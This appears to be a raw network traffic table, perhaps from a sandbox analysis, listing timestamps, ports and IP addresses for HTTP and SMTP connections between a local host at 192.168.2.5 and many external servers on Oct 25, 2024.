Oct 25, 2024 11:17:45.387497902 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387525082 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387558937 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387578011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387592077 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387625933 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387631893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387631893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387660027 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387695074 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387732983 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387732983 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387733936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387784958 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387816906 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387835026 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387835026 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387866974 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387876034 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387901068 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387934923 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387948036 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387948036 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.387968063 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.387995958 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388003111 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388036013 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388068914 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388068914 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388070107 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388084888 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388103008 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388139009 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388156891 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388156891 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388168097 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388200998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388200998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388237953 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388273001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388304949 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388334036 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388338089 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388370037 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388377905 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388403893 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388436079 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388442039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388442039 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388469934 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388470888 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388503075 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388531923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388531923 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388535023 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388570070 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388603926 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388612986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388612986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388612986 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388637066 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388659000 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388670921 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388704062 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388727903 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388727903 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388741016 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388757944 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388791084 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388817072 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388823986 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388855934 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388864994 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388864994 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388890028 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388907909 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388941050 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.388942957 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.388991117 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389000893 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389024973 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389058113 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389058113 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389090061 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389098883 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389098883 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389125109 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389153004 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389156103 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389189959 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389220953 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389231920 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389231920 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389231920 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389256001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389322042 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389355898 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389393091 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389394045 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389416933 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389427900 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389455080 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389460087 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389477968 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389502048 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389509916 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389534950 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389548063 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389569998 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389601946 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389609098 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389609098 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389635086 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389667988 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389700890 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389704943 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389704943 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389750004 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389784098 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389813900 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389813900 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389816999 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389847040 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389853954 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389902115 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389909983 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389938116 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389971018 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.389977932 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.389977932 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390003920 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390037060 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390065908 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390065908 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390070915 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390090942 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390103102 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390136957 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390168905 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390177011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390177011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390177011 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390202045 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390233994 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390233994 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390268087 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390274048 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390274048 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390301943 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390335083 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390377998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390377998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390377998 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390398026 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390430927 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390463114 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390472889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390472889 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390496969 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390528917 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390548944 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390548944 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390563011 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390595913 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390609980 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390610933 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390629053 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390635014 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390661001 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390691042 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390693903 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390727043 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390759945 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390768051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390768051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390768051 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390793085 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390825987 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390860081 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390873909 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390873909 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390873909 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390893936 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390928030 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390933990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390933990 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.390963078 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.390991926 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.391040087 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.396650076 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.396696091 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.396730900 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:45.396863937 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.396863937 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:45.468580008 CEST	80	52619	122.128.109.107	192.168.2.5
Oct 25, 2024 11:17:45.469669104 CEST	52619	80	192.168.2.5	122.128.109.107
Oct 25, 2024 11:17:45.487781048 CEST	52685	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:17:45.493305922 CEST	80	52685	64.125.133.18	192.168.2.5
Oct 25, 2024 11:17:45.493371010 CEST	52685	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:17:45.493626118 CEST	52685	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:17:45.500720978 CEST	80	52685	64.125.133.18	192.168.2.5
Oct 25, 2024 11:17:45.542665958 CEST	80	52677	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:45.542771101 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:45.543170929 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:45.549019098 CEST	80	52677	103.224.182.241	192.168.2.5
Oct 25, 2024 11:17:45.549117088 CEST	52677	80	192.168.2.5	103.224.182.241
Oct 25, 2024 11:17:45.692706108 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692734003 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692754030 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692778111 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692792892 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692796946 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.692810059 CEST	80	52681	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:45.692826033 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.692833900 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:45.692859888 CEST	52681	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:46.250233889 CEST	80	52635	107.180.98.101	192.168.2.5
Oct 25, 2024 11:17:46.250289917 CEST	52635	80	192.168.2.5	107.180.98.101
Oct 25, 2024 11:17:46.326915026 CEST	80	52683	93.187.206.66	192.168.2.5
Oct 25, 2024 11:17:46.326970100 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:17:46.871840000 CEST	80	52642	165.22.45.169	192.168.2.5
Oct 25, 2024 11:17:46.871867895 CEST	80	52641	188.166.152.188	192.168.2.5
Oct 25, 2024 11:17:46.871917963 CEST	52642	80	192.168.2.5	165.22.45.169
Oct 25, 2024 11:17:46.872174978 CEST	52641	80	192.168.2.5	188.166.152.188
Oct 25, 2024 11:17:46.911773920 CEST	52691	25	192.168.2.5	66.226.70.66
Oct 25, 2024 11:17:46.912307978 CEST	52692	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:17:46.917788982 CEST	80	52692	96.91.204.114	192.168.2.5
Oct 25, 2024 11:17:46.918117046 CEST	52692	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:17:46.918267965 CEST	52692	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:17:46.923852921 CEST	80	52692	96.91.204.114	192.168.2.5
Oct 25, 2024 11:17:47.143718958 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:47.146207094 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:47.923183918 CEST	52691	25	192.168.2.5	66.226.70.66
Oct 25, 2024 11:17:48.020709991 CEST	80	52593	202.254.236.40	192.168.2.5
Oct 25, 2024 11:17:48.020772934 CEST	52593	80	192.168.2.5	202.254.236.40
Oct 25, 2024 11:17:48.274034977 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:48.274118900 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:49.721209049 CEST	80	52545	170.82.174.30	192.168.2.5
Oct 25, 2024 11:17:49.724052906 CEST	52545	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:17:49.938818932 CEST	52691	25	192.168.2.5	66.226.70.66
Oct 25, 2024 11:17:50.260402918 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:50.260842085 CEST	80	52672	208.109.214.162	192.168.2.5
Oct 25, 2024 11:17:50.260915041 CEST	52672	80	192.168.2.5	208.109.214.162
Oct 25, 2024 11:17:51.576036930 CEST	80	52625	195.78.66.65	192.168.2.5
Oct 25, 2024 11:17:51.576276064 CEST	52625	80	192.168.2.5	195.78.66.65
Oct 25, 2024 11:17:52.365448952 CEST	80	52669	198.100.146.220	192.168.2.5
Oct 25, 2024 11:17:52.365531921 CEST	52669	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:17:52.580626965 CEST	52669	80	192.168.2.5	198.100.146.220
Oct 25, 2024 11:17:52.586280107 CEST	80	52669	198.100.146.220	192.168.2.5
Oct 25, 2024 11:17:53.966597080 CEST	80	52685	64.125.133.18	192.168.2.5
Oct 25, 2024 11:17:53.966672897 CEST	52685	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:17:53.970479965 CEST	52685	80	192.168.2.5	64.125.133.18
Oct 25, 2024 11:17:53.975820065 CEST	80	52685	64.125.133.18	192.168.2.5
Oct 25, 2024 11:17:54.079487085 CEST	52691	25	192.168.2.5	66.226.70.66
Oct 25, 2024 11:17:54.220851898 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:54.226181030 CEST	80	52724	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:54.226249933 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:54.226607084 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:54.232081890 CEST	80	52724	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:54.943747044 CEST	80	52724	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:54.943949938 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:55.222476006 CEST	80	52667	85.131.197.10	192.168.2.5
Oct 25, 2024 11:17:55.222538948 CEST	52667	80	192.168.2.5	85.131.197.10
Oct 25, 2024 11:17:55.400979996 CEST	80	52692	96.91.204.114	192.168.2.5
Oct 25, 2024 11:17:55.401040077 CEST	52692	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:17:55.453635931 CEST	52692	80	192.168.2.5	96.91.204.114
Oct 25, 2024 11:17:55.459002018 CEST	80	52692	96.91.204.114	192.168.2.5
Oct 25, 2024 11:17:55.548873901 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:55.554244041 CEST	80	52724	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:55.742772102 CEST	80	52724	188.114.96.3	192.168.2.5
Oct 25, 2024 11:17:55.742846966 CEST	52724	80	192.168.2.5	188.114.96.3
Oct 25, 2024 11:17:56.407408953 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:56.413583994 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:56.413650036 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:56.413790941 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:56.419502020 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:56.474868059 CEST	80	52633	183.90.183.73	192.168.2.5
Oct 25, 2024 11:17:56.474934101 CEST	52633	80	192.168.2.5	183.90.183.73
Oct 25, 2024 11:17:56.504859924 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:56.510307074 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:56.510385990 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:56.510689974 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:56.516360044 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.432022095 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.432089090 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.432112932 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.432143927 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.432173014 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.432195902 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.458684921 CEST	52736	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.464122057 CEST	80	52736	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.543735027 CEST	80	52683	93.187.206.66	192.168.2.5
Oct 25, 2024 11:17:57.543840885 CEST	52683	80	192.168.2.5	93.187.206.66
Oct 25, 2024 11:17:57.580054998 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.586350918 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.586426020 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.620312929 CEST	52742	80	192.168.2.5	103.224.182.253
Oct 25, 2024 11:17:57.626019001 CEST	80	52742	103.224.182.253	192.168.2.5
Oct 25, 2024 11:17:57.720748901 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720808029 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720814943 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.720850945 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720856905 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.720904112 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720910072 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.720940113 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720973015 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.720976114 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.720983982 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.721029043 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.721064091 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.721065998 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.721087933 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.721098900 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.721111059 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.721137047 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.721147060 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.721179962 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.727730989 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.727781057 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.727782011 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.727828026 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.834872961 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.834913015 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.834948063 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835009098 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835033894 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835124969 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835159063 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835171938 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835194111 CEST	80	52735	104.218.10.254	192.168.2.5
Oct 25, 2024 11:17:57.835211039 CEST	52735	80	192.168.2.5	104.218.10.254
Oct 25, 2024 11:17:57.835239887 CEST	52735	80	192.168.2.5	104.218.10.254
